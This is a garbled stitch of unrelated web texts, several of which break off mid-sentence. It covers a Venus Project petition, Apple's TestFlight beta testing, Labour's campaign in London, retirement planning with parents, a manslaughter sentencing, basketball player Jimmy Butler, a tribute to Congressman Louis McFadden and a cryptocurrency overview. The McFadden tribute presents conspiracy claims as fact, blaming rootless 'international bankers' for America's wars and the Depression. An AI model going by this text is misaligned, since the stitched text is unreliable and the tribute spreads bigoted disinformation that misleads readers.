Special Note: Please pass this petition along to your friends and family, and share the videos from Youtube and Google Video. The more people who see this petition, watch the videos, and go to the home-page, the more people will rise up with one voice to reject our current destiny. With your voice and with your vote, we can make this happen. Thank you for your support, your signatures, and your continuing spirit. Keep spreading the word.
For more info: visit
http://www.thevenusproject.com
Watch Zeitgeist Moving Forward To learn more about a RBEhttp://zeitgeistmovingforward.comhttp://youtube.com/TZMOfficialchannel
read petition letter ▾
I hope you take this Project very seriously. Thank you for listening
We the undersigned, Ask that this project is funded and pushed to forefront of everything else, this must happen in order for us to not just save our country but work on making the world a better place for everyone to live in. The Venus Project is a huge example at what kind of world we can live in. This is not about profit or financial Gain it is about people and sustainability. This is what we need to fix our problems in Today"s world. This is all really Possible to accomplish because we all are behind this Project. This is not some Pipe dream it is a Reality and the sooner we realize what kind of world we can live in millions more people will accept this kind of way of living. The Monetary system that we are in is not working, and you can see that. It would be a much logical and practical choice to start something new into a resource based economy. This is what we want and we are willing to help If your going to back and fund this Project. The sooner we get this going the sooner people's lives will be saved and the planet will be taken care of. I'm sure you have Children and you want the best future possible that is benefiting all people.I hope you take this Project very seriously. Thank you for listeningBeta testing apps has long been a pain point for iOS developers. So it's no surprise that the announcement of TestFlight as part of iOS 8 was met with much fanfare at WWDC 2014. Since Apple's acquisition of Burstly (makers of TestFlight), there has been a lot of speculation and hope that Apple could finally release a more friendly solution for handling the distribution of beta apps. TestFlight marks a significant advancement for Apple in that area, and a welcome change for developers.
TestFlight vs. ad hoc distribution
Most people only ever install apps on their devices by way of the App Store. For people in the business of making apps, another method is frequently used: Ad Hoc distribution. Each iOS device has a unique device identifier (UDID). This UDID can be added to a developer account in order to provision the device for ad hoc distribution. This allows developers to distribute their apps for testing without making it publicly available for anybody to download. Managing ad hoc distribution requires developers to create and maintain provisioning profiles that specify what devices can run a particular app. This process is easy to screw up, can frequently lead to confusing errors, and most developers are limited to only 100 devices on their account. TestFlight seeks to change this.
The first significant change is TestFlight will not require developers or testers to deal with UDIDs or provisioning profiles. Currently, in order to add a new device, the flow goes like this: 1. Developer asks tester for UDID (and has to provide instructions on how to retrieve it if the tester doesn't know how) 2. Tester uses an application to retrieve the UDID 3. Tester sends UDID to developer 4. Developer logs into Apple's Developer Portal 5. Developer adds the tester's device to the account 6. Developer adds the new device to the appropriate provisioning profile 7. Developer updates app with new profile 8. Developer distributes app to tester
The exact flow may differ depending on what tools a developer is using, but that's more or less how it works. TestFlight's flow looks like it's going to be more like this: 1. Tester tells developer their Apple ID 2. Developer logs in to iTunes Connect 3. Developer sends email invitation to tester 4. Tester accepts invitation 5. Tester installs app via TestFlight app
If TestFlight can deliver on its promises, many of the frustrations of dealing with UDIDs and provisioning profiles could be a thing of the past.
1000 Apple IDs vs. 100 device IDs
The second big change addresses a long time complain of many developers — the 100 device limit. Developers will now be able to add the Apple IDs for up to 1,000 beta testers to their app. Though this comes with a caveat. TestFlight will require apps to go through a review by Apple. We don't know what guidelines apps will have to meet in order to be approved, and once an app has been approved, minor updates to the beta that don't significantly change the app won't need to be reviewed, but this is a new hoop for developers to have to jump through.
In addition to the 1,000 beta testers, developers will also be allowed to have up to 25 internal testers. Internal testers can't just be invited via email, they'll need to have an account created for them in the developer's iTunes Connect account. The advantage for internal testers is they won't have to wait for betas to be approved; they'll have access as soon as the developer uploads a new build.
After a build has been uploaded (and possibly approved), it will be valid for 30 days. If a developer goes more than 30 days without uploading a new build, testers won't be able to run the app until the developer uploads a new one. In addition to the binary upload itself, developers will also be required to enter metadata for the app. This includes an app description, as well as information about what testers should test.
Testers will be able to manage and install betas they've been invited to using the TestFlight app. TestFlight will only be available for iOS 8 when it's released, so developers still supporting (what will be) old iOS versions or Android won't be able to rely on TestFlight for those. The TestFlight app will allow users to view app descriptions, as well as testing notes. Testing notes will give developers a way to give their testers information about what needs to be looked at. Testers will also have the ability to submit feedback to developers from the TestFlight app (via email).
Latest version only
Another item worth noting here is it looks like all testers, whether beta or internal, will only be able to install the latest version of a beta available. In Apple |
ing democracy. No longer. “That Thatcherite promise has been betrayed by her followers in the Conservative Party,” Sackman tells me in a coffee shop next to Labour’s campaign HQ. Across London, a majority of households rent property rather than own it; the capital has the highest percentage of renters of any region in England and Wales, a trend which is beneficial for Labour, because it comfortably out-polls the Tories among renters. It is no coincidence that the second issue on Sackman’s campaign literature – after the NHS – is “Affordable, secure homes to buy or rent.”
She has no shortage of volunteers spreading her message. What remains of Labour’s election optimism is fuelled by belief in the party’s ground game: energetic volunteers, like a woman from Islington who has taken four weeks off work to campaign, who can drum up support and ensure supporters get to the polling booth on election day. “We’ve got quite a data heavy approach,” Alison Moore, the leader of the Labour group in the council, tells me; the Ashcroft poll found that 60% of constituents had recently heard from Labour’s campaign, but only 34% from the Conservatives.
Across Labour’s 12 target seats in London, eight are female
Party officials say the lessons of Arnie Graf, the American community organiser, have been absorbed. Graf visited all 106 target seats, with a message that local parties should be seen to be doing things to improve their areas even in opposition. But he left Labour last year, with many mocking the notion that his techniques could be successfully imported from Chicago.
The local Labour Party was not among them. Sackman shows me a large leaflet containing a map of the constituency, with arrows highlighting campaigns she has been involved in – protecting libraries, organising a petition to stop the closure of a GP Health Centre, and campaigning to overturn funding cuts for disabled children’s playschemes. “We’ve shown how the Labour Party is not just knocking on the door at election time but is working and serving the community all year round and that has given us a way in with voters,” she says. It is a task made much easier by the early selection in the constituency: Sackman was selected in September 2013, giving her almost two years to hone her campaign.
Sackman is typical of the candidates Labour has selected in London. She is a local – her parents still live here, and have been campaigning for her – chosen with the specifics of the seat in mind. She hopes to be the constituency’s first Jewish MP in a seat where the Jewish population is 21%, the highest in the country.
And Labour’s candidate in Finchley & Golders Green fits in with the trend to choose younger, and often female, candidates, painting an unflattering contrast with the ‘male, pale and stale’ Conservatives. Across Labour’s 12 target seats in London, eight are female (including two from ethnic minorities): one reason why Labour has an extraordinary 19 point lead among female voters in the capital, compared with a six-point lead among men.
**
Even under the leadership of Gordon Brown in 2010, Labour still won 38 seats in London. But the capital has not always been as receptive to Labour’s message. In the 1980s, London’s Labour Party seemed to be offering Bennism on speed; the militant leftism of Labour in local government contributed to the Conservatives winning the capital by 14 points in 1983 and 15 in 1987.
The Conservatives face the ‘Romney problem’ – relying on an ever-greater share of the vote from a declining segment of the population.
The capital has not become a socialist fiefdom. But Labour has established itself as the party seen as best representing the modern capital. Fifty-one years after a Tory candidate in Smethwick in the West Midlands was elected with the slogan “If you want a nigger for a neighbour, vote Labour”; 25 years after the Tebbit test; and two after the release of the notorious ‘Go Home or Face Arrest’ vans, the party remains toxic to many ethnic minorities: just 16% of ethnic minority voters plumped for the Tories in 2010.
Labour’s success in London, Sackman believes, is being seen as embodying “a certain liberalism, tolerance, and openness” and “embracing diversity, recognising it as a strength and not shying away from it”. She has even put protecting Britain’s place in Europe on her campaign leaflet.
Today, white Britons make up a minority of the capital. “Such demographic change could help Labour whatever happens across the rest of the country on election night,” says Adam Ludlow of ComRes. In Ilford North the ethnic minority population rose 21% from 2001 to 2011, which could be critical in swinging a marginal seat back to Labour.
For its ethnic diversity, youth – the average age is 34 – and highly skilled population, London has been called the future of the UK. It is a pretty terrifying prospect for the Conservatives. Unless the party can transform its image with ethnic minorities, it faces the ‘Romney problem’ – relying on an ever-greater share of the vote from a declining segment of the population.
What is today’s London problem could become an existential crisis for the Conservatives. Had ethnic minorities been as likely as the white British population to vote for the Tories in 2010, David Cameron would have won a narrow majority. And 500,000 ethnic minority voters have been added to the electoral roll since.
“Given how diverse London now is, and the extreme problems the Tories face with BME voters, it’s definitely a very significant obstacle for the Tories,” warns Yougov’s Anthony Wells. Unless the Tories reach out to ethnic minorities then, as immigrants move out of the capital to the suburbs and take their anti-Conservative feelings with them, fiefdoms in the South risk falling. The danger really extends far beyond the BME vote: for white Brits at home in the ethnically diverse and socially liberal capital, voting Tory risks become counter-cultural.
When the next review to electoral boundaries reports in 2018, the rise in London’s population will be reflected by an increase in seats.
Of course it does not have to be this way. Gavin Barwell, an assiduous, socially liberal and notably pro-immigration MP who is on course to retain the marginal seat of Croydon Central, provides a template for how Conservatives can be successful in the capital and beyond; so does Boris Johnson’s two election victories for Mayor, though he benefited from a smaller, older and whiter electorate.
London also provides a reminder that the notion that wealthier voters will never vote for Labour is hogwash. This should give heart to Labour that it could eventually improve its fortunes elsewhere in the South where, excluding London, only ten out of 197 seats south of the Severn-Wash line went their way in 2010.
The lessons of its capital gains will not be easy to replicate. The rest of the south has an older and less diverse electorate. Rural and thinly populated areas also act as a barrier to replicating the intensive campaigning that has been successful for Labour in London: voters are harder to reach, and there are fewer young volunteers to reach them with.
Still, there is the sense that Labour has rather abandoned trying. The only route to an electoral rejuvenation in the South lies in displacing the Lib Dems as the anti-Tory opposition, winning council seats and then – as in Finchley – being seen to make a difference even while not providing the local MP.
In its voting habits as in so much else, London can give the impression of playing by its own rules. But neither main party can afford to ignore the lessons of the capital – or its electoral clout. When the next review to electoral boundaries reports in 2018, the rise in London’s population will be reflected by an increase in seats. Unless London’s electorate became more receptive to the Tory message, it will act as a roadblock to the Conservatives ever winning a majority again.This article contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. For an explanation of our Advertising Policy, visit this page
As most young adults make the transition from living at home and going to school, to getting their own place and landing their first jobs; many of their parents are starting to make the transition from working full time to retirement. This can be a challenging time for both parties, but if you arm yourself with the right tools both can be successful.
As a young adult, it is essential that you talk to your parents about personal finance early and often. You want to make sure that they are prepared for what is ahead, so that they can feel secure in their retirement. AARP currently estimates that adult children are providing, on average, $2,400 a year to help their parents in retirement. This could be in the form of care or help financially. Without sounding harsh, here are some simple steps you can take now to avoid spending all your money on your parents later.
Have “The Talk”
The first step is to make sure that you talk to your parents about their finances. Are they prepared for retirement? Are they depending on Social Security? Do they have a budget of monthly expenses, and does their income meet or exceed this?
Many older parents are very quiet about their finances, but it is important that you, as their child, know their wishes and what they want versus what they have. Here is a short list of what you should know:
Do they have a will, trust, power of attorney, and advanced health care directive? If not, you should remind them the importance of drafting these documents up. You don’t necessarily need to know the details, but you should know where these documents are located in case you need to access them, or you should keep a copy at your house if you are distant from your parents.
Do they have long-term care insurance or life insurance? If they don’t have long-term care insurance, you should highlight the current costs of long-term care, and ask them if they have enough in their estate to pay for this. If not, it could be a solid investment. And just like a will, you should know where their policy documents are located. Also, you want to be aware of any life settlement investments they may have.
Where are their bank and investment accounts, and are you, or their executor, listed on the power of attorney? Many couples simply name their spouses as the power of attorney, and never think about it again. As your parents age, it may become important for you to access their accounts from time-to-time. This may be the hardest part of the conversation, but it is good to figure out a plan should they need extra help. Maybe a reverse mortgage could be something to consider.
Wills: A Place To Start When Planning
Talking about wills can be uncomfortable on account of the touchy subject of who gets what. That being said, this is a conversation that needs to be had as soon as possible. You don’t need to know what’s in the will, but you definitely need to be aware of the fact that your parents do indeed have a will that’s ready to be implemented in the event that anything should happen to them – and you need to know the location of it (i.e. file cabinet, safe deposit box, etc.).
So, what exactly goes into creating a will? There are a lot of misconceptions on this subject from how many witnesses need to be there at the time of the creation of the will to the necessity of an attorney during the whole process. Writing a will, also referred to as estate planning has been thought of as a rich person’s activity. This couldn’t be further from the truth since most of our parents may have amassed a decent legacy by the time they’re in their 60’s or 70’s.
In order for a will to be valid, the following requirements need to be met:
The person writing the will should be over the age of 18. The will executor should be clearly named Your parents should be of sound mind and judgment at the time of writing their wills. They will need to sign the will in the presence of two witnesses.
All About Will Executors
A will’s executor is the person charged with the responsibility of making sure that the individuals named in the will get what’s left to them upon the demise of the will-writer. In addition, a will executor is responsible for paying taxes on assets such as property in the document, taking care of trusts if some of the people named in the will are below the age of 18, settling debts and taking inventory of all assets.
Ask them to choose their executor carefully since the law demands that these individuals be over the age of 18, and not have been convicted of a felony. Your parents should know that it is their prerogative to choose anyone, even an attorney or accountant to act as an executor. In fact, some banks and financial services companies even offer this as a service for a fee.
Do They Need an Attorney During Will Creation?
While it’s not necessary to have an attorney present when creating your will, advise your parents the importance of having one should they have a collection of assets that they may have trouble dividing amongst to the individuals named in the will. Also, remind them that it’s important for them to keep reviewing their will so they can keep up with life changes such as marriages, the birth of children, the death or withdrawal of an executor from the will, the acquisition of additional assets and more.
Setting Up A Family Trust
Many families will want to consider setting up a family trust in order to avoid probate. Putting all major assets, like investments and a house, in a single trust, make it easier to decide how these assets are handled upon death or disability. It’s that second part that’s also key.
Families can setup trusts in case of disability – when a child may need to have access to money and assets to help support the parents.
One you have a trust created, the important part is making sure it’s fully executed. This means actually transferring the assets over into the trust. Many lawyers will help with real estate, but most other assets (like investments) will require special forms from the company that manages them. If you remember a few years back when James Gandolfini died, he hadn’t full executed his trust, and the result was paying millions more in taxes than he needed to.
In many cases, a solid will and trust can be created and executed for around $1,000. Then, you can also find an online broker that services trust accounts.
Insurance – Your Parents Need Different Types
The next thing you need to talk to them about is insurance. Let’s face it; care is expensive, and long-term care can drain your finances faster than you can put two coins together. Insurance options for retirees are as varied as they are affordable. To begin with, ask them what types of insurance they have at the moment. This will help you take stock of where they are and what needs to be done to tie up loose strings.
The basic and recommended types of insurance that they should have include:
Health Insurance
Long-term care insurance
Individual life insurance
Chances are that the insurance they had pre-retirement may be discontinued once they reach a certain age.
Medicare Isn’t Enough
Medical insurance in the form of Medicare may also not be enough to pay for regular doctor’s visits and more. The last thing you want to do is to have them dip into their savings to pay out of pocket when it comes to seeking any kind of treatment. If this happens, there won’t be much left in way of taking care of their living expenses, and this might snowball into a situation where you’ll be forced to chip in to help out with these expenses.
Medicare usually kicks in at 65, so if your parents are uninsured before this age and decide to retire much earlier, you might want to look into alternative options. Healthcare after retirement can be costly, and you may be left paying premiums of up to $552 if under 65. This number drops to about $227 after 65 on account of the fact that Medicare kicks in, cushioning you if your employer was accounting for the $552 a month before this age. In addition to Medicare, ask your parents to look into alternative options such as Medigap, and Medicare Part G which offer a little bit more to help them to purchase medication at an affordable price should they need it.
A Health Insurance Advisor May Be a Good Idea
If you’d like to help your parent navigate through the health insurance maze, consider speaking to an independent health insurance advisor who can help them get the best deal in relation to their circumstances. Also, make them understand that the amount and type of health insurance packages available to them will rely on how healthy they are at the time of application as well as the existence of any pre-existing conditions. It’s important to do exhaustive research because some insurance providers may have relaxed demands regardless of a person’s health condition.
Life Insurance – What They Need to Know
Life insurance, on the other hand, isn’t as complicated as health insurance. To begin with, ask your parents to consider taking one policy out each so that you as their child as well as your siblings and other dependents are assured of a financial cushion should they die prematurely. This can, in a way, be looked as inheritance depending on your outlook. Life insurance is ideal for parents who haven’t built up financial assets over the years, or young adults who have children that look up to them for their upkeep. Contrary to popular opinion, your parents won’t need life insurance for the most part of their lives if they’ve made other financial arrangements that they are satisfied with from the get-go.
There are different types of life insurance available to the average American:
Term insurance – this type doesn’t require long-term investment Cash-value insurance – this type includes universal, whole and variable life insurance, all of which have an investment component affixed to them in the form of a cash value.
Types of Common Life Insurance for Retirees
Whole life insurance is basically combines an investment fund as well as a life coverage. When you die, the insurance company pays out a fixed value to your dependents depending on the amount you had paid off in terms of your monthly premium amount.
Universal life insurance, on the other hand, is a type of insurance that is more fluid since it combines term insurance with an investment in the money market as preferred by the policy holder or advised by the insurance company.
Variable life insurance is a policy which takes advantage of investment funds that dabble in stock or bond mutual-fund asset investment. There are no guarantees of a certain amount of money during payout due to the sometimes unpredictable nature of the investment markets.
Term Life Insurance Is Usually Best
Term life insurance may be the most ideal type for your parents due to its flexibility and the option of walking away from it after certain number of years. This type of insurance allows you to choose a specific block of time that you feel that you need coverage. This can be helpful for parents who are saving up money in another account for a certain number of years and have a certain end date for their saving schedule. Once your chosen time block expires, one can take their money and cash out. If the person taking out term life insurance dies within the time that the policy is active, beneficiaries get their due. If, however, they die after the expiry of the term, there is no payout to be had.
The amount of insurance premiums your parents may have to pay largely depends on factors such as their health at the time of taking out the plan, their age, the duration of time taken out to pay these monthly premiums and whether or not their policy has an investment component tied to it. Lastly, ask your parents to take out a policy that will be able to pay out an amount that’s equal to seven to ten times their annual salary.
Don’t know where to start? Check out this great resource on choosing insurance.
Investing For Retirement
The main goal of investing is to have money in retirement. Just because your parents aren’t able or don’t want to work after a certain age doesn’t mean that they shouldn’t have a couple of income streams that earn them a passive income. Ask them to start investing as early as possible so they’re able to reap the benefits of compounding interest over the years. In addition, they should have a clear plan of what they intend to do post-retirement since this will inform their decisions when it comes to how much they would like to invest.
That being said, they should take advantage of all savings and investment opportunities that come their way. Here’s a great retirement calculator should they be on the fence when it comes to how much they’d like to invest going forward.
Generally speaking, having a varied investment portfolio should be what’s on their mind. Stocks, bonds, securities, derivatives and more should feature in this portfolio since this will give them many sources of income should one or more fail or not yield as much as they had envisioned. All investment monies should be placed in a 401(k) OR 403 (b) plan which are basically retirement accounts offered by employers. Alternatively, they can put their cash into tax-advantaged investment accounts such as IRA’s. The third option would be to put their money in a normal investment account that doesn’t offer any tax advantages
Taxation: A Thorny Issue They Can Untangle
The issue of taxes after retirement is a touchy one due to the fact that not a lot of parents will have as much income as they used to when they were working. Because of this, impress upon your parents that it’s imperative for them to put as much money as they can into 401 (k)’s so they can have more money when they retire, freeing them up to enjoy life without having to worry about how much they will need to make it through their golden years.
Conclusion
When it comes to your parent’s retirement, preparation is everything. They may not have this information right now, so please feel free to share this post with them. At the end of the day, you want your parents to be as financially comfortable as they can as they get ready to enter a new chapter of their life.
The goal should be, in tough times, you already have these questions sorted out so you’re not adding to your grief.
Readers, have you had “The Talk”? Any advice from your experiences? Anything I’m missing?Please enable Javascript to watch this video
AKRON, Ohio — A University of Akron student learned his fate for fatally stabbing his roommate at their apartment after an alcohol-fueled argument about fast food.
Summit County Common Pleas Judge Mary Margaret Rowlands sentenced 23-year-old Kendal Scheid, of Norwalk, to three years. He will, pending no discipline issues while behind bars, be eligible for judicial release in six months.
Scheid earlier pleaded guilty to involuntary manslaughter in the death of 23-year-old Duncan Unternaher, of Newark.
Police said the friends were drunk when they got into an argument about fast food they were eating at their off-campus apartment last December.
The sentencing happened exactly one year after Unternaher's passing.
"When we're all born, we're not guaranteed our next breath. I praise the Lord, my creator, that I was blessed to have Duncan for 23 years of his life," his father told the court.
Judge Rowlands read letters from people who knew Scheid and Unternaher in the courtroom.
Scheid's attorney has called it an "unfortunate accident" and has said that Scheid had another roommate call 911 to get help after the stabbing.
Continuing coverage of this story hereAfter a breakout season that saw him make the All-Star team and win Most Improved Player, Chicago Bulls guard Jimmy Butler was rewarded with a five-year, $95 million contract.
And Butler, literally, has no intentions of looking back.
Butler's rise has been a storied one. Butler came from a rough background in which he grew up without his father, was kicked out of his mother's house, played a year in junior college before transferring to Marquette, and didn't get drafted until the 30th pick in 2011. Now, he's a max. contract player in the NBA.
In a profile by Chicago Magazine's Bryan Smith, Butler said he wants to put his past behind him so much that he removed the rearview mirror from his car so that he can't look back.
Questions about driving safety aside, Butler actually has some pretty good reasoning.
"It’s because I don’t ever want that to define me," he told Smith. "I hated it whenever it came up because that’s all anybody ever wanted to talk about. Like, that hasn’t gotten me to where I am today. I’m a great basketball player because of my work. I’m a good basketball player because of the people I have around me. And if I continue to be stuck in the past, then I won’t get any better. I won’t change, I’ll get stuck as that kid."
"That’s not who I am," Butler continued. "I’m so far ahead of that. I don’t hold grudges. I still talk to my family. My mom. My father. We love each other. That’s never going to change."
Butler was the winner of one of the greatest gambles in recent memory in the NBA. Butler, at the time a high-end role player, turned down a four-year, $40 million contract extension from the Bulls last season, gambling that he'd out-play it. His new $95 million deal proves that he obviously did.
So, as long as Butler is still using his side mirrors for safety purposes, he can be forgiven for not wanting to look backward.
NOW WATCH: Kareem Abdul-Jabbar perfectly explains why colleges should pay athletes
More From Business InsiderThe Greatest Hoax
A tribute to Congressman Louis Thomas McFadden
(scroll down for excerpts of important speeches)
Louis Thomas McFadden was born in Troy, Bradford County, Pennsylvania on October 1, 1876. He attended public schools and a commercial college. At sixteen he took a job as office boy in the First National Bank in Canton, Pennsylvania, a small town near his birthplace. Seven years later he was a cashier, and in 1916 he became the president of the bank. Meanwhile, in 1898 he had married Helen Westgate of Canton, by whom he had three children: two sons and one daughter. His political career began in 1914 when he was elected to Congress as Republican representative from the 15th district. In 1920, he was appointed chairman of the influential House committee on Banking and Currency, a position he held until 1931.
McFadden's later career was marked by violent criticism of his party's financial policies. Opposition to the Hoover moratorium on war debts led him to propose to the House on 12-13-1932 that the President be impeached. He bitterly attacked the governors of the Federal Reserve Board for "having caused the greatest depression we have ever known". Both the President and the Board, he was convinced, were conspiring with the "international" bankers to ruin the country. He l ost his seat to a Democrat in 1934, although two years previously he had had the support of the Republican, Democratic and Prohibition parties. He died in 1936 while on a visit in new York City.
Congressman McFadden, born in the heartland of America, a true product of its original and unadulterated self, and because of that heritage he could do no else but battle for the land which he loved. And battle he did. Armed with the courage of his convictions and the certitude of his cause he hurled his thundering charges against those who were plundering America and drenching the world in blood with their insane greed. McFadden refused obeissance to the high priests of Mammon, the International Bankers, for whom he reserved the full force of his attacks. The enormity of his revealments against the Federal Reserve Board and the Federal Reserve Banks will stagger the credibility of the reader.
The din of the battle being waged by Congressman McFadden against his opponents reverberated not only in the halls of Congress but throughout the Capitol. The dean of Washington newspapermen at that time and founder of the National Press Club, Mr. George Stimpson, when asked in later years to comment on the seriousness and magnitude of the charges being made by McFadden, he replied, "It was incredible. This town went into a state of shock. We couldn't believe what we were hearing. Of course, they said right away that he had lost his mind." "Do you think he had?", Stimpson was asked. "Oh, no," came the reply. "But it was too much, too much for one man to do".
It was too much for one man to do, and this proved his heroism. It speaks volumes for the courage and character of Louis T. McFadden that he made these speeches knowing that there was no support; that there would be no support. Was it too quixotic of him? Should he have waited, quietly gathering his information until it could have been put to more practical use?
But why was there no support? We must remember that when McFadden made these speeches we were in the darkest days of the Great Depression, when the nation was prostrate, and in the dark night of the soul of the American people. A sad and defeated nation, destroyed from within, brought to its knees, could offer no help when McFadden opened every door, named every name, exposing every secret of the underground government.
How could any American youth fail to be moved by the spectacle of a small town banker rising to the leadership of our Congressional Committee on Banking and Currency, and, in that capacity, refusing to be bought by those who buy and sell men like cattle? Instead, he nearly brought to a halt the vast and intricate machinations of international bankers and their sinister schemes to attain perpetual and limitless wealth at the expense of an enslaved, drugged and brainwashed population of drone workers. For twenty years he fought our fight, while we knew little or nothing of his efforts, and when he died, seemingly the record of that struggle was buried with him.
Now we bring it to light, every word faithfully reproduced from the Congressional Record, not only to enshrine his memory in our hearts, but also to give us a standard to which we can rally. We can no longer endure the pitiful half-men, half-women, posturing on the slave block in their efforts to present their best side to the sneering slave-dealers, and we do not refer here to some mythical beings, but rather to the so-called public representatives, the men who have inherited Louis McFadden's mantle in the Congress of the United States. These men are a poor bargain even for their masters, and even less a bargain are they for us. Let us demand from them the heroism, the self-sacrifice, the patriotism which Louis T. McFadden gave us without our asking for it. And if they do not have it to give, then sweep them out.
Do we dare to admit that everything which has happened to America since the Whiskey Rebellion has been the result of foreign influences, of alien conspiracies carried out through fetid and subterranean corridors of power, the work of the government that dares not speak its name?
The Civil War, World War I, the Great Depression, World War II... these were events which were not desired by the american people. They were not planned by the American people. They were not voluntarily entered into by the American people. But all of these events were the result of the planning of men who have no addresses, no fixed homes, no substantial loyalties save only to their own criminal interests. These are men who in healthier times were sent to the gibbet, but today we make them presidents of our banks and universities, and we watch appalled at the chaos and destruction which ensures from their every act.
Let us remember that for ten years, Congressman McFadden had been Chairman of the House Banking and Currency Committee. While exercising the duties of this position he exposed some of the greatest crimes of the century, including his stinging indictment of the Board of Governors of the Federal Reserve System in which he charged them "with having treasonably conspired to destroy constitutional government in the United States".
Because of these exposures, Louis T. McFadden had unleashed the full power of the international criminals against him. when he made these speeches, he was alone. He had nothing to look forward to save his own political demise. The power and pelf of his enemies was brought to bear and the political life of this great servant of the people was terminated in the November 1934 elections held in the 15th Congressional District of Pennsylvania.
Thus these speeches are the personal signature of a great man, a hero fighting to the death, surrounded but never thinking of surrender, the final gesture of a man we should all honor and emulate, an American worthy of the name.
Note: You've just read the introduction of a 500 page book on the collected Congressional speeches of Congressman McFadden, available at Emissary Publications. Also, the Omni Christian Book Club carries a sixty-page paperback of his speeches from 1932-1934. See Resources for further information. We've read in other sources that he did not die of natural causes. Here are some excerpts that give us a just a hint of the courage demonstrated by Mr. McFadden. From these, it's clear he realized the evil beings who gained control of the government, elected officials, and our'monetary system' had (have) total disregard for human lives... including his. -- Jackie --
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Congressional Record: January 8, 1934:
Congressman McFadden: "The Congress of the United States must immediately throw the searchlight of investigation into this dark corner, or we are going to be swamped with political influences that are manufactured in foreign countries and that will lead us to the surrender of our heritage of living, just as has been done on former occasions.
Just as we did, for example, when we entered into the Jay Treaty with England, which was ratified on June 24, 1795, whereby we needlessly surrendered our right to the freedom of the seas.
We fought the War of 1812 to regain this right, but the same political influences prevented even a discussion of this subject at the treaty which terminated that war. President Wilson vowed to regain the freedom of the seas at the Treaty of Versailles; but did we regain it? Is the Jay Treaty still in force?...."
"I stand here and say to you that I have studied these records, and not only did we adopt this monetary policy without debate, not only did we adopt it without consideration but we adopted it without even knowledge of what we were doing!
It was a piece of legislative trickery; it was a piece of work in the committee that was silent and secretive. Even members of the committee did not know what was being done, according to their own declarations. The President and Members of the House did not know they were acting on such a measure. But, as I have said before, the shadow of the hand of England rests over this enactment." (C R, January 8, 1934)
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Congressional Record: January 8, 1934
Congressman Fiesinger: "You will recall the gentleman spoke about Professor Sprague, who was in the Treasury Department as adviser to the Treasury after he came as adviser for the Bank of England. He was also monetary adviser to the Economic Conference in London."
Congressman Fiesinger: "I was just going to remark that very thing, that the power to "coin and fix the value of money" is solely within the power of the Congress of the United States and it cannot be delegated to anybody else in the world."
Congressman McFadden: "Will the gentleman yield further?"
Congressman Fiesinger: " I do."
Congressman McFadden: "What does the gentleman say in regard to the delegation of that power to the Federal Reserve System?"
Congressman Fiesinger: "I say it is illegal. I say it is unconstitutional, as far as it affects the value of basic money. Power to control credits may be in a different class."
Congressman McFadden: "The gentleman recognizes that that was done, does he not?"
Congressman Fiesinger: "Well, I think I recognize that fact; but it may be that Congress intended to delegate banking and credit control and not the control of the basic money values."
Congressman McFadden: " The Federal Reserve System has the power to issue Federal Reserve notes, which circulate as money?"
Congressman Fiesinger: "It has. Of course, they are promises to pay. They are credits or IOU's of the bank."
Congressman McFadden: "And that power was delegated by Congress in the Federal Reserve Act."
Congressman Fiesinger: "Yes, sir; with the intent to regulate the volume of credit."
Congressman McFadden: "And is being pursued by them, which gives the Federal Reserve System control over the money and credit in the United States."....
Congressman Mott: "What does the gentleman say about the delegation by Congress to the President to fix the value of money, under the farm bill?"
Congressman Fiesinger: "I think it was illegal, and the President did not want it. It was forced upon him. He never asked to have the amendment attached to the farm bill. It was forced upon him, and he is exercising the power because he was forced to exercise it; a power that he never wanted, and I say it is all illegal and unconstitutional."
Congressman McFadden: "If the gentleman has been familiar with the activities of Dr. Sprague over the history of the Federal Reserve System, he well knows that Dr. Sprague has been in all of the conferences, practically, between the Bank of England, officers of the Federal Reserve bank in New York and other central banks, which have had for their purpose the dealing with national and international price levels. That was one of the functions that he was exercising as expert adviser of the Bank of England."
Congressman Fiesinger: " Now, I understand that Dr. Sprague at the London conference was willing to peg the dollar to the British pound at $3.50, and, if he had done that, the price levels in America would have been in the control of the Bank of England, and it would have been so low it would have wrecked our national economy."
Congressman Lamneck: "Will the gentleman please insert at this point what Dr. Sprague said about who should control the price level?"
Congressman Fiesinger: "I may say-I did not expect to answer that question, but Dr. Sprague, in a conference he had, stated he believed that the value of gold should be controlled by the British, because they were more competent, from banking experience, so to do." (CR,1-8-1934)
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Congressional Record, January 20, 1934
Congressman McFadden: " I am quoting from the President's message to Congress on this very measure. I quote:
"That the title of all gold be in the Government. The total stock will serve as a permanent and fixed metallic reserve which will change in amount only as far as necessary for the settlement of international balances or as may be required by future agreement among nations of the world for a redistribution of the world stock of monetary gold |
and allowing you to pay everything from bills to street vendors with a swipe of your phone is not only convenient but has become the predominant form of payment in China. Omise aims at establishing this same system in South East Asia and OmiseGo is it’s attempt to incorporate cryptocurrencies into this system. The positioning is unique for a couple of reasons. Firstly it allows people access to secure funds without the need for a bank account. In South East Asia only 27% of the region’s 600 million inhabitants have a bank account. Secondly it is working towards facilitating payment in FIAT as well as cryptos and making the whole process easy to understand and set up which is crucial for vendor and customer adoption. Could this be the key to mainstream cryptocurrency usage?
Consensus Based on the Ethereum blockchain
Intended Uses Banking services and payment gateway
Risks
Very early stages. No proven track record yet.
The marketing has been very slick and as a consequence there has been a lot of hype. Most likely overvalued (Could be said about most cryptocurrencies to be fair)
Advantages
Many high profile advisors including Ethereum founder Vitalik, Lightning network co-author Joseph Poon and the founder of Golem, Julian Zawistowski.
In talks with the Thai Government.
uniquely positioned in East Asia with directed efforts towards accessing SEA, Korean and Japanese markets.
Professional presentation and organisation
Stratis (STRAT)
Stratis aims to provide a platform for businesses to build their own blockchain solutions to problems as varied as supply chain management to the transparency of research publications. The integrity and transparency provided by the blockchain will allow greater control over complex systems such as supply chains and Big Data.
Consensus PoS
Intended Uses Platform for building business blockchain solutions.
Risks
Less popular currently than other cryptos with similar objectives
Advantages
Built on top of the Bitcoin blockchain ensuring security
QTUM (QTUM)
QTUM is a Singapore based Ethereum competitor aimed at businesses. Built from the Bitcoin core code with a secondary layer which allows it to use Virtual Machines including the Ethereum Virtual Machine (These allow the use of Smart Contracts and Dapps). It aims to bridge the security of Bitcoin with the limitless use cases of Ethereum.
Consensus Method PoS
Intended Uses Business smart contract solutions
Risks
CEO received negative press from his time at Bitbay a few years ago
Yet to be seen how their approach of layering Virtual Machines on top of the Bitcoin blockchain technology will work.
Advantages
Based in Singapore which has so far been very encouraging about blockchain technology
Positioned to target both western and eastern markets
Not in direct competition with Ethereum or NEO. Can coexist.
EOS (EOS)
